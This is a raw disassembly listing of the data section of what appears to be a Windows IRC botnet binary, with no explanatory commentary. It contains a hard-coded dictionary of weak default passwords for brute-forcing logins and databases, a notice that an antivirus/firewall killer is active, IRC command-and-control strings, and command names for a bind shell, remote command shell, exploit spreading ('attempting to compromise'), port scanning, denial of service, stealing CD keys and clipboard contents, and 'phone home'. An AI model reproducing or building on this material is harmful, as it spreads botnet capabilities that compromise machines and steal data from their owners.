		dd offset aPwd_0	; "pwd"
		dd offset a007_0	; "007"
		dd offset a1_0		; "1"
		dd offset a12_0		; "12"
		dd offset a123_0	; "123"
		dd offset a1234_0	; "1234"
		dd offset a12345_0	; "12345"
		dd offset a123456_0	; "123456"
		dd offset a1234567_0	; "1234567"
		dd offset a12345678_0	; "12345678"
		dd offset a123456789_0	; "123456789"
		dd offset a1234567890_0	; "1234567890"
		dd offset a2000_0	; "2000"
		dd offset a2001_0	; "2001"
		dd offset a2002_0	; "2002"
		dd offset a2003_1	; "2003"
		dd offset a2004_0	; "2004"
		dd offset aTest_0	; "test"
		dd offset aGuest_2	; "guest"
		dd offset aNone_0	; "none"
		dd offset aDemo_0	; "demo"
		dd offset aUnix_0	; "unix"
		dd offset aLinux_0	; "linux"
		dd offset aChangeme_0	; "changeme"
		dd offset aDefault_1	; "default"
		dd offset aSystem_0	; "system"
		dd offset aServer_6	; "server"
		dd offset aRoot_2	; "root"
		dd offset aNull_2	; "null"
		dd offset aQwerty_0	; "qwerty"
		dd offset aMail_0	; "mail"
		dd offset aOutlook_0	; "outlook"
		dd offset aWeb_0	; "web"
		dd offset aWww_0	; "www"
		dd offset aInternet_1	; "internet"
		dd offset aAccounts_0	; "accounts"
		dd offset aAccounting_0	; "accounting"
		dd offset aHome_0	; "home"
		dd offset aHomeuser_0	; "homeuser"
		dd offset aUser_4	; "user"
		dd offset aOem_0	; "oem"
		dd offset aOemuser_0	; "oemuser"
		dd offset aOeminstall_0	; "oeminstall"
		dd offset aWindows_0	; "windows"
		dd offset aWin98_0	; "win98"
		dd offset aWin2k_0	; "win2k"
		dd offset aWinxp_0	; "winxp"
		dd offset aWinnt_0	; "winnt"
		dd offset aWin2000_0	; "win2000"
		dd offset aQaz_0	; "qaz"
		dd offset aAsd_0	; "asd"
		dd offset aZxc_0	; "zxc"
		dd offset aQwe_0	; "qwe"
		dd offset aBob_1	; "bob"
		dd offset aJen_0	; "jen"
		dd offset aJoe_0	; "joe"
		dd offset aFred_0	; "fred"
		dd offset aBill_0	; "bill"
		dd offset aMike_0	; "mike"
		dd offset aJohn_0	; "john"
		dd offset aPeter_1	; "peter"
		dd offset aLuke_0	; "luke"
		dd offset aSam_0	; "sam"
		dd offset aSue_0	; "sue"
		dd offset aSusan_0	; "susan"
		dd offset aPeter_2	; "peter"
		dd offset aBrian_0	; "brian"
		dd offset aLee_0	; "lee"
		dd offset aNeil_0	; "neil"
		dd offset aIan_0	; "ian"
		dd offset aChris_0	; "chris"
		dd offset aEric_0	; "eric"
		dd offset aGeorge_0	; "george"
		dd offset aKate_0	; "kate"
		dd offset aBob_2	; "bob"
		dd offset aKatie_0	; "katie"
		dd offset aMary_0	; "mary"
		dd offset aLogin_1	; "login"
		dd offset aLoginpass_0	; "loginpass"
		dd offset aTechnical_0	; "technical"
		dd offset aBackup_0	; "backup"
		dd offset aExchange_0	; "exchange"
		dd offset aFuck_0	; "fuck"
		dd offset aBitch_0	; "bitch"
		dd offset aSlut_0	; "slut"
		dd offset aSex_0	; "sex"
		dd offset aGod_0	; "god"
		dd offset aHell_0	; "hell"
		dd offset aHello_0	; "hello"
		dd offset aDomain_0	; "domain"
		dd offset aDomainpass_0	; "domainpass"
		dd offset aDomainpasswo_0 ; "domainpassword"
		dd offset aDatabase_1	; "database"
		dd offset aAccess_0	; "access"
		dd offset aDbpass_0	; "dbpass"
		dd offset aDbpassword_0	; "dbpassword"
		dd offset aDatabasepass_0 ; "databasepass"
		dd offset aData_0	; "data"
		dd offset aDatabasepass_1 ; "databasepassword"
		dd offset aDb1_0	; "db1"
		dd offset aDb2_1	; "db2"
		dd offset aDb1234_0	; "db1234"
		dd offset aSa_1		; "sa"
		dd offset aSql_0	; "sql"
		dd offset aSqlpassoains_0 ; "sqlpassoainstall"
		dd offset aOrainstall_0	; "orainstall"
		dd offset aOracle_1	; "oracle"
		dd offset aIbm_0	; "ibm"
		dd offset aCisco_0	; "cisco"
		dd offset aDell_0	; "dell"
		dd offset aCompaq_0	; "compaq"
		dd offset aSiemens_0	; "siemens"
		dd offset aHp_0		; "hp"
		dd offset aNokia_0	; "nokia"
		dd offset aXp_1		; "xp"
		dd offset aControl_0	; "control"
		dd offset aOffice_0	; "office"
		dd offset aBlank_0	; "blank"
		dd offset aWinpass_0	; "winpass"
		dd offset aMain_0	; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet_2	; "internet"
		dd offset aIntranet_0	; "intranet"
		dd offset aStudent_1	; "student"
		dd offset aTeacher_1	; "teacher"
		dd offset aStaff_1	; "staff"
		align 10h
dword_437A40	dd 10h							; sub_401C87+AF6r ...
dword_437A44	dd 73257325h, 0	dword_437A4C	dd 255C7325h, 73hdword_437A54	dd 25207325h, 25222064h, 2273hdword_437A60	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: sub_401404+352o
		dd 2E646574h, 0
unk_437A7C	db  2Dh	; -		; DATA XREF: sub_401404+38Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 10h
unk_437AA0	db  2Dh	; -		; DATA XREF: sub_401404+3DEo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
dword_437AE0	dd 234032Dh, 6E656469h,	2036474haServerRunningO	db '- Server running on Port: 113.',0
		align 4
dword_437B0C	dd 234032Dh, 6E656469h,	2036474haFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 10h
unk_437B40	db  2Dh	; -		; DATA XREF: sub_4019A5+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401B0B+35o
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401B0B+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
asc_437B88	db ' :',0               ; DATA XREF: sub_401C87+86o
		align 4
asc_437B8C:				; DATA XREF: sub_401C87+AEo
		unicode	0, <  !>,0
aPing		db 'PING',0             ; DATA XREF: sub_401C87+19Do
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+1B7o
		align 4
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1D8o
		align 4
a001		db '001',0              ; DATA XREF: sub_401C87+1F4o
a005		db '005',0              ; DATA XREF: sub_401C87+209o
a302		db '302',0              ; DATA XREF: sub_401C87+21Eo
a@:					; DATA XREF: sub_401C87+22Eo
		unicode	0, <@>,0
a433		db '433',0              ; DATA XREF: sub_401C87+260o
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401C87+288o
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_401C87+2DDo
		align 10h
unk_437BE0	db  2Dh	; -		; DATA XREF: sub_401C87+340o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User %s logged out.',0
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+359o
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3A3o
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_401C87+3B9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401C87+4D9o
		align 10h
aPart		db 'PART',0             ; DATA XREF: sub_401C87+501o
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_401C87+512o
		align 10h
a353		db '353',0              ; DATA XREF: sub_401C87+550o
unk_437C44	db  2Dh	; -		; DATA XREF: sub_401C87+587o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: %s.',0
unk_437C64	db  2Dh	; -		; DATA XREF: sub_401C87+5AEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User: %s logged out.',0
		align 4
aPart_0		db 'PART',0             ; DATA XREF: sub_401C87+5CBo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5EFo
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401C87+5FAo
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401C87+60Bo
		align 10h
a332		db '332',0              ; DATA XREF: sub_401C87+61Co
aPrivmsg_0	db 'PRIVMSG',0          ; DATA XREF: sub_401C87+63Do
aNotice_0	db 'NOTICE',0           ; DATA XREF: sub_401C87+652o
		align 4
dword_437CC4	dd 43434401h, 0	aSend_1		db 'SEND',0             ; DATA XREF: sub_401C87+6B5o
		align 4
aS_21		db '%s',0               ; DATA XREF: sub_401C87+6E2o
		align 4
aS_22		db '%s',0               ; DATA XREF: sub_401C87+6FAo
		align 4
unk_437CDC	db  2Dh	; -		; DATA XREF: sub_401C87+75Bo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aNotice_1	db 'NOTICE',0           ; DATA XREF: sub_401C87+7B7o
		align 4
asc_437D14:				; DATA XREF: sub_401C87+7DCo
		unicode	0, <#>,0
dword_437D18	dd 52455601h, 4E4F4953h, 1dword_437D24	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401C87+88Do
		dd 0D017325h, 0Ah
dword_437D40	dd 4E495001h, 47hdword_437D48	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401C87+8C9o
		dd 0A0Dh
unk_437D60	db  2Dh	; -		; DATA XREF: sub_401C87+8ECo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartT	db '- Failed to start transfer thread, error: <%d>.',0
		align 10h
unk_437DA0	db  2Dh	; -		; DATA XREF: sub_401C87+90Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401C87+927o
		align 4
aS		db '%s',0               ; DATA XREF: sub_401C87+964o
		align 10h
unk_437DF0	db  2Dh	; -		; DATA XREF: sub_401C87+9BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
unk_437E10	db  2Dh	; -		; DATA XREF: sub_401C87+A17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToStartC	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_437E48	db  2Dh	; -		; DATA XREF: sub_401C87+A3Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_437E78	db  2Dh	; -		; DATA XREF: sub_401C87+A4Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
aLogin		db 'login',0            ; DATA XREF: sub_401C87+A71o
asc_437EB2	db 'l',0                ; DATA XREF: sub_401C87+A89o
a332_0		db '332',0              ; DATA XREF: sub_401C87+AABo
asc_437EB8	db ' :',0               ; DATA XREF: sub_401C87:loc_40278Ao
		align 4
aD		db '$%d-',0             ; DATA XREF: sub_401C87+B67o
		align 4
aD_0		db '$%d',0              ; DATA XREF: sub_401C87+C14o
aMe		db '$me',0              ; DATA XREF: sub_401C87+C82o
aUser		db '$user',0            ; DATA XREF: sub_401C87+C94o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401C87+CA5o
		align 4
aRndnick	db '$rndnick',0         ; DATA XREF: sub_401C87+CC1o
		align 4
aServer		db '$server',0          ; DATA XREF: sub_401C87+CD2o
aChr		db '$chr(',0            ; DATA XREF: sub_401C87+CDDo
		align 4
aChr_0		db '$chr(',0            ; DATA XREF: sub_401C87:loc_40297Ao
asc_437EFE	db ')',0                ; DATA XREF: sub_401C87+D1Bo
a63		db '63',0               ; DATA XREF: sub_401C87+D43o
		align 4
asc_437F04:				; DATA XREF: sub_401C87+E12o
		unicode	0, <  >
aRndnick_0	db 'rndnick',0          ; DATA XREF: sub_401C87+E61o
aRn		db 'rn',0               ; DATA XREF: sub_401C87+E79o
		align 4
aDie		db 'die',0              ; DATA XREF: sub_401C87+E8Eo
aD_1:					; DATA XREF: sub_401C87+EA3o
		unicode	0, <d>,0
aLogout		db 'logout',0           ; DATA XREF: sub_401C87+EB8o
		align 4
aLo		db 'lo',0               ; DATA XREF: sub_401C87+ECDo
		align 4
aVersion	db 'version',0          ; DATA XREF: sub_401C87+EE2o
aVer		db 'ver',0              ; DATA XREF: sub_401C87+EF7o
aDedication	db 'dedication',0       ; DATA XREF: sub_401C87+F0Co
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401C87+F21o
aSecure		db 'secure',0           ; DATA XREF: sub_401C87+F36o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401C87+F4Bo
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401C87+F60o
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401C87+F75o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401C87+F8Ao
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401C87+F9Fo
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401C87+FB4o
		align 4
aServer_2	db 'Server',0           ; DATA XREF: sub_401C87+FCDo
		align 4
dword_437F8C	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401C87+FF4o
		align 4
aServer_3	db 'Server',0           ; DATA XREF: sub_401C87+100Do
		align 4
dword_437FB4	dd 234032Dh, 676F6C72h,	2646E69h, 2D03haHttpstop	db 'httpstop',0         ; DATA XREF: sub_401C87+101Ao
		align 10h
aServer_4	db 'Server',0           ; DATA XREF: sub_401C87+1033o
		align 4
dword_437FD8	dd 234032Dh, 70747468h,	2D030264h, 0aLogstop	db 'logstop',0          ; DATA XREF: sub_401C87+1040o
aLogList	db 'Log list',0         ; DATA XREF: sub_401C87+1059o
		align 4
dword_437FFC	dd 234032Dh, 2676F6Ch, 2D03haRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401C87+1069o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_401C87+1082o
		align 4
dword_438028	dd 234032Dh, 69646572h,	74636572h, 2D0302hdword_438038	dd 736F6464h, 6F74732Eh, 70hdword_438044	dd 536F4444h, 6F6C6620h, 646Fhdword_438050	dd 234032Dh, 736F6464h,	2D0302haTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401C87+10BBo
		align 4
aServer_5	db 'Server',0           ; DATA XREF: sub_401C87+10D4o
		align 10h
dword_438070	dd 234032Dh, 70746674h,	2D030264h, 0aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401C87+10E4o
		align 10h
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401C87+10F9o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401C87+110Eo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401C87+1123o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401C87+1138o
		align 4
aClone		db 'Clone',0            ; DATA XREF: sub_401C87+1151o
		align 10h
dword_4380C0	dd 234032Dh, 6E6F6C63h,	3027365h, 2DhaSecurestop	db 'securestop',0       ; DATA XREF: sub_401C87+1161o
		align 4
aSecure_1	db 'Secure',0           ; DATA XREF: sub_401C87+117Ao
		align 4
dword_4380E4	dd 234032Dh, 75636573h,	3026572h, 2DhaScanstop	db 'scanstop',0         ; DATA XREF: sub_401C87+118Ao
		align 10h
aScan_2		db 'Scan',0             ; DATA XREF: sub_401C87+11A3o
		align 4
dword_438108	dd 234032Dh, 6E616373h,	2D0302haScanstats	db 'scanstats',0        ; DATA XREF: sub_401C87+11B3o
		align 10h
aStats		db 'stats',0            ; DATA XREF: sub_401C87+11C8o
		align 4
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401C87+11DDo
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401C87+11F2o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401C87+1207o
		align 4
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401C87+121Co
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401C87+1231o
aExplist	db 'explist',0          ; DATA XREF: sub_401C87+1246o
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401C87+125Bo
aR		db 'r',0                ; DATA XREF: sub_401C87+1270o
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401C87+1285o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401C87+129Ao
		align 4
aQuit_0		db 'quit',0             ; DATA XREF: sub_401C87+12AFo
		align 2
aQ		db 'q',0                ; DATA XREF: sub_401C87+12C4o
aStatus		db 'status',0           ; DATA XREF: sub_401C87+12D9o
		align 4
aS_0:					; DATA XREF: sub_401C87+12EEo
		unicode	0, <s>,0
aId		db 'id',0               ; DATA XREF: sub_401C87+1303o
		align 4
aI:					; DATA XREF: sub_401C87+1318o
		unicode	0, <i>,0
aReboot		db 'reboot',0           ; DATA XREF: sub_401C87+132Do
		align 10h
unk_4381B0	db  2Dh	; -		; DATA XREF: sub_401C87+1344o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 10h
unk_4381D0	db  2Dh	; -		; DATA XREF: sub_401C87+134Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
aThreads	db 'threads',0          ; DATA XREF: sub_401C87+137Fo
aT:					; DATA XREF: sub_401C87+1394o
		unicode	0, <t>,0
aAliases	db 'aliases',0          ; DATA XREF: sub_401C87+13A9o
aAl		db 'al',0               ; DATA XREF: sub_401C87+13BEo
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401C87+13D3o
aLg		db 'lg',0               ; DATA XREF: sub_401C87+13E8o
		align 4
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401C87+13FDo
		align 4
aClg		db 'clg',0              ; DATA XREF: sub_401C87+1412o
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401C87+1427o
aNi		db 'ni',0               ; DATA XREF: sub_401C87+143Co
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401C87+1451o
aSi		db 'si',0               ; DATA XREF: sub_401C87+1466o
		align 10h
aRemove		db 'remove',0           ; DATA XREF: sub_401C87+147Bo
		align 4
aRm		db 'rm',0               ; DATA XREF: sub_401C87+1490o
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401C87+14A5o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401C87+14BAo
		align 4
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401C87+14CFo
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401C87+14E4o
aUptime		db 'uptime',0           ; DATA XREF: sub_401C87+14F9o
		align 10h
aUp		db 'up',0               ; DATA XREF: sub_401C87+150Eo
		align 4
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401C87+1523o
		align 10h
aDrv		db 'drv',0              ; DATA XREF: sub_401C87+1538o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401C87+154Do
		align 10h
aDll		db 'dll',0              ; DATA XREF: sub_401C87+1562o
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401C87+1577o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401C87+158Co
		align 4
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401C87+15A1o
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_401C87+15BAo
		align 4
dword_4382BC	dd 234032Dh, 2646D63h, 2D03hdword_4382C8	dd 6F6877h	dword_4382CC	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401C87+15E7o
dword_4382E0	dd 706D453Ch, 3E7974hdword_4382E8	dd 202E6425h, 7325hunk_4382F0	db  2Dh	; -		; DATA XREF: sub_401C87+1659o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401C87+1677o
unk_43831C	db  2Dh	; -		; DATA XREF: sub_401C87+16F4o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401C87+1750o
aGc		db 'gc',0               ; DATA XREF: sub_401C87+1765o
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401C87+177Ao
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401C87+178Fo
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401C87+17A4o
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401C87+17B9o
		align 10h
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401C87+17CEo
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401C87+17E3o
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401C87+17F8o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401C87+180Do
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401C87+1822o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401C87+1837o
		align 4
aCrash		db 'crash',0            ; DATA XREF: sub_401C87+184Co
		align 10h
dword_4383C0	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401C87+1862o
		dd 746F6220h, 2Eh
aCrash_0	db 'crash',0            ; DATA XREF: sub_401C87+189Co
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401C87+18B2o
		align 4
aScan_0		db 'scan',0             ; DATA XREF: sub_401C87+18C3o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401C87+18D4o
		align 10h
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+18EFo
		align 8
unk_438428	db  2Dh	; -		; DATA XREF: sub_401C87+1955o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScanni	db '- Already %d scanning threads. Too many specified.',0
aRandom		db 'Random',0           ; DATA XREF: sub_401C87+1B02o
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401C87+1B09o
		align 10h
unk_438480	db  2Dh	; -		; DATA XREF: sub_401C87+1B34o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanStart	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
unk_4384EC	db  2Dh	; -		; DATA XREF: sub_401C87+1B93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_0	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_438528	db  2Dh	; -		; DATA XREF: sub_401C87:loc_40387Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToStar_1	db '- Failed to start scan, port is invalid.',0
		align 10h
unk_438560	db  2Dh	; -		; DATA XREF: sub_401C87+1C08o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunning	db ' Already running.',0
		align 10h
unk_438580	db  2Dh	; -		; DATA XREF: sub_401C87+1CC3o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_4385B4	db  2Dh	; -		; DATA XREF: sub_401C87+1D1Co
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_2	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_4385F0	db  2Dh	; -		; DATA XREF: sub_401C87+1E38o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListenin	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_43862C	db  2Dh	; -		; DATA XREF: sub_401C87+1E91o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToStar_3	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_438668	db  2Dh	; -		; DATA XREF: sub_401C87+1F24o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_43868C	db  2Dh	; -		; DATA XREF: sub_401C87:loc_403BB2o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_4386B8	db  2Dh	; -		; DATA XREF: sub_401C87:loc_403BB9o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_4386E4	db  2Dh	; -		; DATA XREF: sub_401C87+1F4Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_438708	db  2Dh	; -		; DATA XREF: sub_401C87:loc_403BDCo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
dword_438734	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401C87+1F73o
		dd 2Dh
dword_43874C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401C87+1FA1o
		dd 72616F62h, 2E64h
unk_438768	db  2Dh	; -		; DATA XREF: sub_401C87+1FB7o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
unk_438794	db  2Dh	; -		; DATA XREF: sub_401C87+1FD6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_4387BC	db  2Dh	; -		; DATA XREF: sub_401C87:loc_403C67o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
dword_4387DC	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401C87+206Fo
		dd 2E7325h
dword_4387F4	dd 234032Dh, 656B6463h,	3027379haSearchComplete	db '- Search completed.',0
unk_438814	db  2Dh	; -		; DATA XREF: sub_401C87+20EAo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_0	db ' Already running.',0
		align 4
aFull		db 'full',0             ; DATA XREF: sub_401C87+214Co
		align 4
dword_43883C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401C87+216Co
		dd 696C2073h, 2E7473h
unk_438858	db  2Dh	; -		; DATA XREF: sub_401C87+21CBo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToStartL	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_438894	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401C87+21FCo
		dd 746F4220h, 2Eh
dword_4388B0	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401C87+2251o
		dd 2E6F666Eh, 0
dword_4388CC	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401C87+2280o
		dd 6F666E49h, 2Eh
